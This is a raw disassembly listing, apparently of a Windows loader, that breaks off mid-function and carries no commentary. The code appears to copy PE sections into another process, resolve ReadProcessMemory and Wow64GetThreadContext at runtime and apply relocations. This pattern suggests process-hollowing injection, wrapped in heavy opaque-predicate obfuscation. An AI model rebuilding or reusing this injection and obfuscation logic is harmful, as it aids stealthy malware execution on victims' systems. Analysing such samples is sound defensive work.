lea rax, [rdi + rcx]
mov edx, dword [rdi + rcx + 0xc]
cmp esi, edx
jb 0x14000645f
mov ecx, dword [rax + 8]
add ecx, edx
cmp esi, ecx
cmovb rbp, rax
add rdx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xf0]
mov r9d, dword [rax + 0x10]
mov r8d, dword [rax + 0x14]
add r8, rbx
mov qword [rsp + 0x20], 0
call r15
test rax, rax
je 0x1400064ac
inc r14
mov rcx, qword [rsp + 0x110]
movzx eax, word [rcx + 6]
add rdi, 0x28
cmp r14, rax
jb 0x140006444
test rbp, rbp
jne 0x140006695
xor r15d, r15d
mov eax, r15d
movaps xmm6, xmmword [rsp + 0xa50]
movaps xmm7, xmmword [rsp + 0xa60]
movaps xmm8, xmmword [rsp + 0xa70]
movaps xmm9, xmmword [rsp + 0xa80]
movaps xmm10, xmmword [rsp + 0xa90]
movaps xmm11, xmmword [rsp + 0xaa0]
movaps xmm12, xmmword [rsp + 0xab0]
movaps xmm13, xmmword [rsp + 0xac0]
movaps xmm14, xmmword [rsp + 0xad0]
add rsp, 0xae8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x110], rbp
test ax, ax
je 0x140006693
lea rsi, [rbx + r12]
add rsi, 0x18
xor ebp, ebp
xor edi, edi
mov r14, qword [rsp + 0x110]
movzx eax, word [r14 + 0x14]
mov rcx, qword [rsp + 0xf0]
mov edx, dword [rsi + rax + 0xc]
mov r9d, dword [rsi + rax + 0x10]
add rdx, qword [rsp + 0xe0]
mov r8d, dword [rsi + rax + 0x14]
add r8, rbx
mov qword [rsp + 0x20], 0
call r15
test rax, rax
je 0x1400064ac
inc rdi
movzx eax, word [r14 + 6]
add rsi, 0x28
cmp rdi, rax
jb 0x140006542
jmp 0x140006695
ucomisd xmm1, qword [0x14012b198]
jne 0x140007b05
jp 0x140007b05
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140002d87
ucomisd xmm1, qword [0x14012b198]
jne 0x140007b0f
jp 0x140007b0f
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140002ea7
ucomisd xmm1, qword [0x14012b198]
jne 0x140007b19
jp 0x140007b19
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x1400034c7
ucomisd xmm1, qword [0x14012b198]
jne 0x140007b23
jp 0x140007b23
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x1400035e7
xor ebp, ebp
mov qword [rsp + 0x408], r15
mov esi, 0x2c85
movapd xmm6, xmmword [0x14012b2d0]
movabs rdi, 0x199800001998
nop word cs:[rax + rax]
mov ecx, 0xea60
call fcn.1400dc7d0
movupd xmmword [rax], xmm6
movupd xmmword [rax + 0x10], xmm6
movupd xmmword [rax + 0x20], xmm6
movupd xmmword [rax + 0x30], xmm6
movupd xmmword [rax + 0x40], xmm6
movupd xmmword [rax + 0x50], xmm6
movupd xmmword [rax + 0x60], xmm6
movupd xmmword [rax + 0x70], xmm6
movupd xmmword [rax + 0x80], xmm6
movupd xmmword [rax + 0x90], xmm6
movupd xmmword [rax + 0xa0], xmm6
movupd xmmword [rax + 0xb0], xmm6
movupd xmmword [rax + 0xc0], xmm6
movupd xmmword [rax + 0xd0], xmm6
movupd xmmword [rax + 0xe0], xmm6
movupd xmmword [rax + 0xf0], xmm6
movupd xmmword [rax + 0x100], xmm6
movupd xmmword [rax + 0x110], xmm6
movupd xmmword [rax + 0x120], xmm6
movupd xmmword [rax + 0x130], xmm6
movupd xmmword [rax + 0x140], xmm6
mov qword [rax + 0x150], rdi
mov dword [rax + 0x158], 0x1998
mov rcx, rax
call fcn.1400dc7a0
dec esi
jne 0x1400066c0
cmp dword [rsp + 0xec], 0
setne al
and r13b, al
cmp r13b, 1
jne 0x14000704f
lea rcx, [0x14011d658]
call fcn.14001f2c0
mov r12, rax
xor edi, edi
movsd xmm6, qword [0x14012b300]
xorpd xmm7, xmm7
movsd xmm8, qword [0x14012b198]
movsd xmm9, qword [0x14012b2f8]
movsd xmm10, qword [0x14012b2f0]
movsd xmm11, qword [0x14012b2e8]
movsd xmm12, qword [0x14012b2e0]
movaps xmm13, xmmword [str.ReadProcessMemorWow64GetThreadCo]
movaps xmm14, xmmword [0x14012b320]
jmp 0x1400067fb
cmp edi, dword [rsp + 0xec]
jae 0x14000704f
mov eax, dword [rbp + 0x14]
mov ecx, edi
add rcx, rbx
add edi, 8
mov qword [rsp + 0x458], rax
mov qword [rsp + 0x450], rcx
mov r14d, dword [rax + rcx + 4]
movabs rax, 0x1fffffff8
add r14, rax
shr r14, 1
test r14d, r14d
je 0x1400067ee
xor r15d, r15d
jmp 0x140006906
mov ecx, dword [r12]
mov byte [r12 + 4], 1
mov eax, ecx
movaps xmmword [rsp + 0x130], xmm13
movaps xmmword [rsp + 0x140], xmm14
mov dword [rsp + 0x150], 0x79
lea rcx, [rsp + 0x130]
lea rdx, [0x14011f590]
call qword [rdx + rax*8]
mov rcx, qword [rsp + 0x118]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400064ac
and esi, 0xfff
add r13, rsi
add r13, qword [rsp + 0x460]
mov rcx, qword [rsp + 0xf0]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rdx, r13
lea rsi, [rsp + 0xb0]
mov r8, rsi
call rax
mov eax, dword [rsp + 0x12c]
add dword [rsp + 0xb0], eax
mov rcx, qword [rsp + 0xf0]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rdx, r13
mov r8, rsi
call qword [rsp + 0x408]
add edi, 2
inc r15d
cmp r15d, r14d
je 0x1400067ee
mov eax, dword [rbp + 0x14]
mov ecx, edi
add rcx, rbx
movzx esi, word [rax + rcx]
cmp rsi, 0x1000
jb 0x1400068f7
mov r13, qword [rsp + 0xe0]
mov rax, qword [rsp + 0x458]
mov rcx, qword [rsp + 0x450]
mov eax, dword [rax + rcx]
mov qword [rsp + 0x460], rax
mov dword [rsp + 0xb0], 0
movups xmm0, xmmword [0x1401a3b84]
movaps xmmword [rsp + 0x140], xmm0
movupd xmm0, xmmword [0x1401a3b74]
movapd xmmword [rsp + 0x130], xmm0
mov dword [rsp + 0x150], 0x490031
lea rcx, [0x14011d678]
call fcn.14001f2c0
cmp byte [rax], 0
je 0x140007019
cmp byte [r12 + 4], 0
jne 0x140006838
movsx eax, byte [0x1400df030]
movsx ecx, byte [0x1401d1030]
lea ecx, [rcx + rcx*4]
lea edx, [rcx + rcx*2]
add edx, eax
mov ecx, dword [r12]
cmp edx, 3
je 0x140006aa7
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, xmm12
nop word cs:[rax + rax]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r8d, byte [0x1400df035]
xor edx, edx
div r8d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140006a6e
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140006a6e
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
ucomisd xmm0, xmm7
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
jne 0x140006a3d
jnp 0x1400069e0
ucomisd xmm0, xmm8
jne 0x140006fdf
jp 0x140006fdf
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
movsd qword [rsp + 0x60], xmm0
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
cvttsd2si eax, xmm0
jmp 0x140006aa1
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r8d, byte [0x1400df035]
xor edx, edx
div r8d
movsx edx, byte [0x1400df02e]
sub eax, edx
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor ecx, eax
mov dword [r12], ecx
movsx eax, byte [0x1400df036]
add eax, 7
movsx r8d, byte [0x1400df035]
xor edx, edx
div r8d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140006ec6
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*8]
lea eax, [rax + rdx*2]
cmp eax, 3
je 0x140006bd2
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, xmm11
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r8d, byte [0x1400df035]
xor edx, edx
div r8d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140006b96
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140006b96
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
ucomisd xmm0, xmm7
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
jne 0x140006b65
jnp 0x140006b08
ucomisd xmm0, xmm8
jne 0x140007005
jp 0x140007005
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
movsd qword [rsp + 0x60], xmm0
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
cvttsd2si eax, xmm0
jmp 0x140006bcc
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r8d, byte [0x1400df035]
xor edx, edx
div r8d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor ecx, eax
mov dword [r12], ecx
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
add edx, eax
cmp edx, 3
je 0x140006cd6
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, xmm10
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r8d, byte [0x1400df035]
xor edx, edx
div r8d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140006c9a
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140006c9a
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
ucomisd xmm0, xmm7
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
jne 0x140006c69
jnp 0x140006c0c
ucomisd xmm0, xmm8
jne 0x14000700f
jp 0x14000700f
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
movsd qword [rsp + 0x60], xmm0
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
cvttsd2si eax, xmm0
jmp 0x140006cd0
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r8d, byte [0x1400df035]
xor edx, edx
div r8d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor ecx, eax
mov dword [r12], ecx
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, xmm9
nop word cs:[rax + rax]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r8d, byte [0x1400df035]
xor edx, edx
div r8d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140006d8f
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140006d8f
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
ucomisd xmm0, xmm7
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
jne 0x140006d5d
jnp 0x140006d00
ucomisd xmm0, xmm8
jne 0x140006fe9
jp 0x140006fe9
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
movsd qword [rsp + 0x60], xmm0
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
cvttsd2si r8d, xmm0
jmp 0x140006dc6
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r8d, byte [0x1400df035]
xor edx, edx
div r8d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si r8d, xmm1
mov r9d, dword [r12]
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, xmm9
nop dword [rax + rax]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140006e7e
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140006e7e
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
ucomisd xmm0, xmm7
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
jne 0x140006e4d
jnp 0x140006df0
ucomisd xmm0, xmm8
jne 0x140006ff4
jp 0x140006ff4
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
movsd qword [rsp + 0x60], xmm0
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
cvttsd2si eax, xmm0
jmp 0x140006eb4
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov dword [r12], r8d
mov ecx, r8d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea r8d, [rdx + rdx*4]
lea edx, [rdx + r8*4]
add edx, eax
cmp edx, 3
je 0x14000683c
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, xmm6
nop word cs:[rax + rax]
movsd qword [rsp + 0x60], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r8d, byte [0x1400df035]
xor edx, edx
div r8d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140006f9e
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140006f9e
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
ucomisd xmm0, xmm7
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
jne 0x140006f6d
jnp 0x140006f10
ucomisd xmm0, xmm8
jne 0x140006ffe
jp 0x140006ffe
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
movsd qword [rsp + 0x60], xmm0
movsd xmm0, qword [rsp + 0x60]
addsd xmm0, xmm7
cvttsd2si eax, xmm0
jmp 0x140006fd4
movsd xmm0, qword [rsp + 0x60]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r8d, byte [0x1400df035]
xor edx, edx
div r8d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor ecx, eax
mov dword [r12], ecx
jmp 0x14000683c
mov eax, 0xa
jmp 0x140006aa1
mov r8d, 0xa
jmp 0x140006dc6
mov eax, 0xa
jmp 0x140006eb4
mov eax, 0xa
jmp 0x140006fd4
mov eax, 0xa
jmp 0x140006bcc
mov eax, 0xa
jmp 0x140006cd0
lea rcx, [0x14011d658]
call fcn.14001f2c0
mov byte [rax + 4], 0
mov dword [rax], 0xffffff95
lea rcx, [0x14011d678]
call fcn.14001f2c0
mov byte [rax], 1
cmp byte [r12 + 4], 0
jne 0x140006838
jmp 0x140006995
mov dword [rsp + 0x130], 0x10000b
movups xmm0, xmmword [0x1401a3bb4]
movups xmmword [rsp + 0x7c], xmm0
movups xmm0, xmmword [0x1401a3ba8]
movaps xmmword [rsp + 0x70], xmm0
movupd xmm0, xmmword [0x1401a3b98]
movapd xmmword [rsp + 0x60], xmm0
lea rcx, [0x14011d6b8]
call fcn.14001f2c0
cmp byte [rax], 0
je 0x14000953d
lea rcx, [0x14011d698]
call fcn.14001f2c0
mov rcx, rax
cmp byte [rax + 4], 0
mov rbx, qword [rsp + 0x110]
mov r14, qword [rsp + 0x118]
lea r11, [0x14011f6d0]
je 0x1400072c9
mov r8d, dword [rcx]
jmp 0x140007962
mov eax, 0xa
jmp 0x140002c47
mov r9d, 0xa
jmp 0x140002fa8
mov eax, 0xa
jmp 0x1400030a7
mov eax, 0xa
jmp 0x1400031d7
mov eax, 0xa
jmp 0x140003387
mov r9d, 0xa
jmp 0x1400036e8
mov eax, 0xa
jmp 0x1400037e7
mov eax, 0xa
jmp 0x140003917
ucomisd xmm1, qword [0x14012b198]
jne 0x140008a51
jp 0x140008a51
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140003cf7
ucomisd xmm1, qword [0x14012b198]
jne 0x140008a5b
jp 0x140008a5b
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140003e10
mov eax, 0xa
jmp 0x140003bb7
mov r9d, 0xa
jmp 0x140003f18
mov eax, 0xa
jmp 0x140004017
mov eax, 0xa
jmp 0x140004147
ucomisd xmm1, qword [0x14012b198]
jne 0x140008be6
jp 0x140008be6
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140004a94
ucomisd xmm1, qword [0x14012b198]
jne 0x140008bf0
jp 0x140008bf0
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si r9d, xmm0
jmp 0x140004deb
ucomisd xmm1, qword [0x14012b198]
jne 0x140008bfb
jp 0x140008bfb
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x140004ee8
ucomisd xmm1, qword [0x14012b198]
jne 0x140008c05
jp 0x140008c05
xorpd xmm0, xmm0
movsd xmm1, qword [rsp + 0x130]
addsd xmm1, xmm0
movsd qword [rsp + 0x130], xmm1
addsd xmm0, qword [rsp + 0x130]
cvttsd2si eax, xmm0
jmp 0x14000500e
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*4]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, dword [rcx]
cmp edx, 3
je 0x1400073e8
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b2e0]
movsd qword [rsp + 0xb0], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400073a9
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x1400073a9
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
jne 0x140008f7d
jp 0x140008f7d
movsd qword [rsp + 0xb0], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x14000733b
movsd xmm0, qword [rsp + 0xb0]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140007844
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*8]
lea eax, [rax + rdx*2]
cmp eax, 3
je 0x140007528
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b2e8]
movsd qword [rsp + 0xb0], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400074e9
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x1400074e9
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
jne 0x140009270
jp 0x140009270
movsd qword [rsp + 0xb0], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x14000747b
movsd xmm0, qword [rsp + 0xb0]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
add edx, eax
cmp edx, 3
je 0x140007641
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b2f0]
movsd qword [rsp + 0xb0], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140007602
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140007602
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
jne 0x1400092b0
jp 0x1400092b0
movsd qword [rsp + 0xb0], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140007594
movsd xmm0, qword [rsp + 0xb0]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
xor r8d, eax
mov dword [rcx], r8d
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b2f8]
movsd qword [rsp + 0xb0], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400076ff
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x1400076ff
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
jne 0x140008fbd
jp 0x140008fbd
movsd qword [rsp + 0xb0], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x140007691
movsd xmm0, qword [rsp + 0xb0]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si r9d, xmm1
add r9d, r8d
mov r8d, dword [rcx]
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b2f8]
movsd qword [rsp + 0xb0], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x1400077fd
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x1400077fd
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
jne 0x140008ffe
jp 0x140008ffe
movsd qword [rsp + 0xb0], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x14000778f
movsd xmm0, qword [rsp + 0xb0]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r10d, byte [0x1400df035]
xor edx, edx
div r10d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
and eax, r8d
add eax, eax
sub r9d, eax
mov dword [rcx], r9d
mov r8d, r9d
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea r9d, [rdx + rdx*4]
lea edx, [rdx + r9*4]
add edx, eax
cmp edx, 3
je 0x140007962
movsx eax, byte [0x1400df034]
movsx edx, byte [0x1400df030]
add edx, edx
sub eax, edx
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
mulsd xmm0, qword [0x14012b300]
movsd qword [rsp + 0xb0], xmm0
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
je 0x140007923
xorpd xmm0, xmm0
movsx eax, byte [0x1400df030]
movsx edx, byte [0x1401d1030]
lea edx, [rdx + rdx*2]
lea eax, [rax + rdx*8]
cmp eax, 3
je 0x140007923
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
ucomisd xmm1, xmm0
movsd xmm1, qword [rsp + 0xb0]
addsd xmm1, xmm0
jne 0x14000903e
jp 0x14000903e
movsd qword [rsp + 0xb0], xmm1
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
cmp eax, edx
jne 0x1400078b5
movsd xmm0, qword [rsp + 0xb0]
movsx eax, byte [0x1400df036]
add eax, 7
movsx r9d, byte [0x1400df035]
xor edx, edx
div r9d
movsx edx, byte [0x1400df02e]
sub eax, edx
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm0
